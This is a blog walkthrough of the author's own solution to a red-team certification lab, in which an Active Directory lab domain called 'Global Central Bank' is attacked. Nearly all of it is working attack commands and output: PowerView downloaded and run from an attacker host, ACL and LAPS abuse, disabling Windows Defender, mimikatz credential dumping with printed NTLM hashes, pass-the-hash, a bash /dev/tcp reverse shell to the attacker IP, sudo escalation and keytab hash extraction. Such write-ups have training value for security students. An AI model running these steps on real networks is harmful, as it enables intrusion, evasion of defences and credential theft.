CRTM Walkthrough Global Central Bank

This blog based on my personal solution of the cybersecurity Certification [Certified Red Team Master (GCB)] of AlteredSecurity

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it-appsrv01 192.168.4.121

With Domain user load powerview in order to enumerate interedting domain ACLs:

PS C:\Users\itemployee15> IEX (New-Object Net.webclient).DownloadString("http://192.168.100.15/PowerView.ps1")
PS C:\Users\itemployee15> Find-InterestingDomainAcl -ResolveGUIDs
...

ObjectDN                : CN=LocalAdmins,CN=Users,DC=it,DC=gcb,DC=local
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ReadProperty, WriteProperty, GenericExecute
ObjectAceType           : None
AceFlags                : ContainerInherit
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-948911695-1962824894-4291460450-1124
IdentityReferenceName   : ITEmployeesUsers
IdentityReferenceDomain : it.gcb.local
IdentityReferenceDN     : CN=ITEmployeesUsers,CN=Users,DC=it,DC=gcb,DC=local
IdentityReferenceClass  : group

Add Group Membership:

PS C:\Users\itemployee15> Import-Module C:\tools\PowerView.ps1
PS C:\Users\itemployee15> Add-DomainGroupMember -Identity LocalAdmins -Members 'IT\ITEmployee15' -Verbose
VERBOSE: [Get-PrincipalContext] Binding to domain 'it.gcb.local'
VERBOSE: [Add-DomainGroupMember] Adding member 'IT\ITEmployee15' to group 'LocalAdmins'

PS C:\Users\itemployee15> Get-DomainGroupMember -Identity LocalAdmins


GroupDomain             : it.gcb.local
GroupName               : LocalAdmins
GroupDistinguishedName  : CN=LocalAdmins,CN=Users,DC=it,DC=gcb,DC=local
MemberDomain            : it.gcb.local
MemberName              : itemployee15
MemberDistinguishedName : CN=IT Employee15,CN=Users,DC=it,DC=gcb,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-948911695-1962824894-4291460450-27607

GroupDomain             : it.gcb.local
GroupName               : LocalAdmins
GroupDistinguishedName  : CN=LocalAdmins,CN=Users,DC=it,DC=gcb,DC=local
MemberDomain            : it.gcb.local
MemberName              : paadmin
MemberDistinguishedName : CN=pa admin,CN=Users,DC=it,DC=gcb,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-948911695-1962824894-4291460450-1117

Abusse LAPS permissions and obtain administrator credentials:

PS C:\Users\itemployee15> Import-Module C:\tools\Get-LAPSPermissions.ps1

Read Rights

organizationalUnit                  IdentityReference
------------------                  -----------------
OU=AppServers,DC=it,DC=gcb,DC=local IT\LocalAdmins

Write Rights

OU=AppServers,DC=it,DC=gcb,DC=local NT AUTHORITY\SELF

Get-DomainComputer -Identity it-appsrv01 -Properties * | select name, ms-Mcs-AdmPwd

name        ms-mcs-admpwd
----        -------------
IT-APPSRV01 2........

Access to target machine with admin privileges:

Set-Item WSMan:\localhost\Client\TrustedHosts -Value *

PS C:\Windows\system32> winrs.exe -r:it-appsrv01.it.gcb.local -u:".\Administrator" -p:"2xDsu7p..-Q6]M" cmd
Microsoft Windows [Version 10.0.17763.5458]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>whoami
whoami
it-appsrv01\administrator

C:\Users\Administrator>hostname
hostname
it-appsrv01

Disable AV and Dump credentials:

PS C:\Users\Administrator> Set-MpPreference -DisableRealTimeMonitoring $True
Set-MpPreference -DisableRealTimeMonitoring $True

wget http://192.168.100.15/mimikatz.exe -OutFile mimikatz.exe

.\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "vault::list" "vault::cred /patch" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonPasswords

Authentication Id : 0 ; 581239 (00000000:0008de77)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 4/28/2024 11:53:32 PM
SID               : S-1-5-96-0-2
        msv :
         [00000003] Primary
         * Username : IT-APPSRV01$
         * Domain   : IT
         * NTLM     : 4589aac198e67e05369ca8477ee426d7
         * SHA1     : 0957cb72e5f9cd7a99689d59ee59c985b4938dbc
         * DPAPI    : 0957cb72e5f9cd7a99689d59ee59c985
        tspkg :
        wdigest :
         * Username : IT-APPSRV01$
         * Domain   : IT
         * Password : (null)
        kerberos :
         * Username : IT-APPSRV01$
         * Domain   : it.gcb.local
         * Password : 06 05 a8 ff f6 db 65 3a c6 cd ba b8 86 6f 38 c2 a2 22 ae c7 df f6 67 96 df 75 36 f2 03 92 ad 0c c0 6e 2b 70 04 c9 44 d3 c1 c0 1e fa cd c9 03 17 91 e7 7b 08 01 48 30 f5 59 c1 99 2c 65 2a 42 55 15 1b 6b 36 83 92 04 ad bf ff d6 6b fd 67 37 f3 60 6c b4 8f 05 3a af f0 45 bb 62 25 e5 be f0 6b 96 d2 68 0f 6f 38 5b 78 05 6d 68 42 ae 1f 0b b8 cd 52 b5 a2 c9 56 45 35 80 c1 b3 83 a5 f2 d4 e5 cc 17 60 4f 7d a0 a4 66 55 51 76 5a 24 e7 71 7e 61 76 c7 31 81 0c 1f 6e 7d 8b fc 06 4a ae 8a e8 9a 2a 4c 47 a2 88 c3 ee 05 7b e8 fb 70 a4 c1 0d 98 2c eb af 0d 37 4e 2e c5 85 0a 29 e4 c0 6f 21 15 a4 99 31 d2 ca d0 62 f1 2a 83 f7 2c bc 60 39 94 fb 4a 97 0c 6e 24 1b ed d1 ef b7 20 70 a3 78 60 8b 40 ab ca 50 a1 64 3f 1e a1 61 8c f3 d0 25
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : IT-APPSRV01$
Domain            : IT
Logon Server      : (null)
Logon Time        : 4/28/2024 11:46:03 PM
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : IT-APPSRV01$
         * Domain   : IT
         * NTLM     : 4589aac198e67e05369ca8477ee426d7
         * SHA1     : 0957cb72e5f9cd7a99689d59ee59c985b4938dbc
         * DPAPI    : 0957cb72e5f9cd7a99689d59ee59c985
        tspkg :
        wdigest :
         * Username : IT-APPSRV01$
         * Domain   : IT
         * Password : (null)
        kerberos :
         * Username : it-appsrv01$
         * Domain   : IT.GCB.LOCAL
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 23374 (00000000:00005b4e)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 4/28/2024 11:46:02 PM
SID               :
        msv :
         [00000003] Primary
         * Username : IT-APPSRV01$
         * Domain   : IT
         * NTLM     : 4589aac198e67e05369ca8477ee426d7
         * SHA1     : 0957cb72e5f9cd7a99689d59ee59c985b4938dbc
         * DPAPI    : 0957cb72e5f9cd7a99689d59ee59c985
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 612883 (00000000:00095a13)
Session           : RemoteInteractive from 2
User Name         : appmanager
Domain            : IT
Logon Server      : IT-DC
Logon Time        : 4/28/2024 11:54:25 PM
SID               : S-1-5-21-948911695-1962824894-4291460450-1109
        msv :
         [00000003] Primary
         * Username : appmanager
         * Domain   : IT
         * NTLM     : 2c5d4678b83e5de26dc0338a0fcf6245
         * SHA1     : 18cb4d7cb7e5aa891ef9f4f44c846a491999ede4
         * DPAPI    : cc49271d0c4e173c4acdabba341b7e69
        tspkg :
        wdigest :
         * Username : appmanager
         * Domain   : IT
         * Password : (null)
        kerberos :
         * Username : appmanager
         * Domain   : IT.GCB.LOCAL
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 4/28/2024 11:46:36 PM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 59351 (00000000:0000e7d7)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 4/28/2024 11:46:36 PM
SID               : S-1-5-96-0-1
        msv :
         [00000003] Primary
         * Username : IT-APPSRV01$
         * Domain   : IT
         * NTLM     : 4589aac198e67e05369ca8477ee426d7
         * SHA1     : 0957cb72e5f9cd7a99689d59ee59c985b4938dbc
         * DPAPI    : 0957cb72e5f9cd7a99689d59ee59c985
        tspkg :
        wdigest :
         * Username : IT-APPSRV01$
         * Domain   : IT
         * Password : (null)
        kerberos :
         * Username : IT-APPSRV01$
         * Domain   : it.gcb.local
         * Password : 06 05 a8 ff f6 db 65 3a c6 cd ba b8 86 6f 38 c2 a2 22 ae c7 df f6 67 96 df 75 36 f2 03 92 ad 0c c0 6e 2b 70 04 c9 44 d3 c1 c0 1e fa cd c9 03 17 91 e7 7b 08 01 48 30 f5 59 c1 99 2c 65 2a 42 55 15 1b 6b 36 83 92 04 ad bf ff d6 6b fd 67 37 f3 60 6c b4 8f 05 3a af f0 45 bb 62 25 e5 be f0 6b 96 d2 68 0f 6f 38 5b 78 05 6d 68 42 ae 1f 0b b8 cd 52 b5 a2 c9 56 45 35 80 c1 b3 83 a5 f2 d4 e5 cc 17 60 4f 7d a0 a4 66 55 51 76 5a 24 e7 71 7e 61 76 c7 31 81 0c 1f 6e 7d 8b fc 06 4a ae 8a e8 9a 2a 4c 47 a2 88 c3 ee 05 7b e8 fb 70 a4 c1 0d 98 2c eb af 0d 37 4e 2e c5 85 0a 29 e4 c0 6f 21 15 a4 99 31 d2 ca d0 62 f1 2a 83 f7 2c bc 60 39 94 fb 4a 97 0c 6e 24 1b ed d1 ef b7 20 70 a3 78 60 8b 40 ab ca 50 a1 64 3f 1e a1 61 8c f3 d0 25
        ssp :
        credman :

Authentication Id : 0 ; 25043 (00000000:000061d3)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 4/28/2024 11:46:02 PM
SID               : S-1-5-96-0-0
        msv :
         [00000003] Primary
         * Username : IT-APPSRV01$
         * Domain   : IT
         * NTLM     : 4589aac198e67e05369ca8477ee426d7
         * SHA1     : 0957cb72e5f9cd7a99689d59ee59c985b4938dbc
         * DPAPI    : 0957cb72e5f9cd7a99689d59ee59c985
        tspkg :
        wdigest :
         * Username : IT-APPSRV01$
         * Domain   : IT
         * Password : (null)
        kerberos :
         * Username : IT-APPSRV01$
         * Domain   : it.gcb.local
         * Password : 06 05 a8 ff f6 db 65 3a c6 cd ba b8 86 6f 38 c2 a2 22 ae c7 df f6 67 96 df 75 36 f2 03 92 ad 0c c0 6e 2b 70 04 c9 44 d3 c1 c0 1e fa cd c9 03 17 91 e7 7b 08 01 48 30 f5 59 c1 99 2c 65 2a 42 55 15 1b 6b 36 83 92 04 ad bf ff d6 6b fd 67 37 f3 60 6c b4 8f 05 3a af f0 45 bb 62 25 e5 be f0 6b 96 d2 68 0f 6f 38 5b 78 05 6d 68 42 ae 1f 0b b8 cd 52 b5 a2 c9 56 45 35 80 c1 b3 83 a5 f2 d4 e5 cc 17 60 4f 7d a0 a4 66 55 51 76 5a 24 e7 71 7e 61 76 c7 31 81 0c 1f 6e 7d 8b fc 06 4a ae 8a e8 9a 2a 4c 47 a2 88 c3 ee 05 7b e8 fb 70 a4 c1 0d 98 2c eb af 0d 37 4e 2e c5 85 0a 29 e4 c0 6f 21 15 a4 99 31 d2 ca d0 62 f1 2a 83 f7 2c bc 60 39 94 fb 4a 97 0c 6e 24 1b ed d1 ef b7 20 70 a3 78 60 8b 40 ab ca 50 a1 64 3f 1e a1 61 8c f3 d0 25
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : IT-APPSRV01$
Domain            : IT
Logon Server      : (null)
Logon Time        : 4/28/2024 11:46:01 PM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : IT-APPSRV01$
         * Domain   : IT
         * Password : (null)
        kerberos :
         * Username : it-appsrv01$
         * Domain   : IT.GCB.LOCAL
         * Password : (null)
        ssp :
        credman :

mimikatz(commandline) # vault::list
ERROR kuhl_m_vault_list ; VaultEnumerateVaults : 0x00000005

mimikatz(commandline) # vault::cred /patch

mimikatz(commandline) # exit
Bye!

Impersonate Appmanager and access as local admin with Ubuntu VM permissions:

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:it.gcb.local /user:appmanager /ntlm:2c5d4678b83e5de26dc0338a0fcf6245 /run:powershell"

Access with app manager

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Enter-PSSession -ComputerName it-appsrv01
[it-appsrv01]: PS C:\Users\appmanager\Documents> whoami
it\appmanager
[it-appsrv01]: PS C:\Users\appmanager\Documents> hostname
it-appsrv01
[it-appsrv01]: PS C:\Users\appmanager\Documents>

Spawn reverse shell from Ubuntu VM target machine:

C:\Ubuntu\ubuntu.exe run '/bin/bash -l > /dev/tcp/192.168.100.15/443 0<&1 2>&1'


PS C:\tools> Import-Module .\powercat.ps1
PS C:\tools> powercat -l -p 443 -v -t 99999
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Console
VERBOSE: Setting up Stream 1...
VERBOSE: Listening on [0.0.0.0] (port 443)
VERBOSE: Connection from [192.168.4.121] port  [tcp] accepted (source port 50527)
VERBOSE: Setting up Stream 2...
VERBOSE: Both Communication Streams Established. Redirecting Data Between Streams...
whoami
appmanager
id
uid=1000(appmanager) gid=1000(appmanager) groups=1000(appmanager),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
appmanager@it-appsrv01:/mnt/c/Users/appmanager/Documents$ hostname
hostname
it-appsrv01
appmanager@it-appsrv01:/mnt/c/Users/appmanager/Documents$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:15:5d:6a:2c:45
          inet addr:192.168.4.121  Bcast:192.168.4.255  Mask:255.255.255.0
          inet6 addr: fe80::9224:5f1e:b50a:617c/64 Scope:Unknown
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Unknown
          UP LOOPBACK RUNNING  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

privilege escalation and extract keytab:

appmanager@it-appsrv01:/mnt/c/Users/appmanager/Documents$ sudo -s
sudo -s
[sudo] password for appmanager: appsrv

Sorry, try again.
[sudo] password for appmanager: appmanager

root@it-appsrv01:/mnt/c/Users/appmanager/Documents# cd /root
cd /root
root@it-appsrv01:/root# ls -ltrh
ls -ltrh
total 0
-rwxrwxrwx 1 appmanager appmanager 59 May 28  2019 sqlsrv02.keytab
root@it-appsrv01:/root#

From kali attacker machine:

┌──(kali㉿kali)-[~/KeyTabExtract]
└─$ ls -ltrh
total 16K
-rw-r--r-- 1 kali kali   59 May  4 11:18 sqlsrv02.keytab
-rw-r--r-- 1 kali kali  499 May  4 18:54 README.md
-rwxr-xr-x 1 kali kali 4.5K May  4 18:54 keytabextract.py
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/KeyTabExtract]
└─$ ./keytabextract.py sqlsrv02.keytab 
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[!] Unable to identify any AES256-CTS-HMAC-SHA1 hashes.
[!] Unable to identify any AES128-CTS-HMAC-SHA1 hashes.
[+] Keytab File successfully imported.
        REALM : it.gcb.local
        SERVICE PRINCIPAL : sqlsvc/
        NTLM HASH : 7782d820e5e5952b20b77a2240a03bbc

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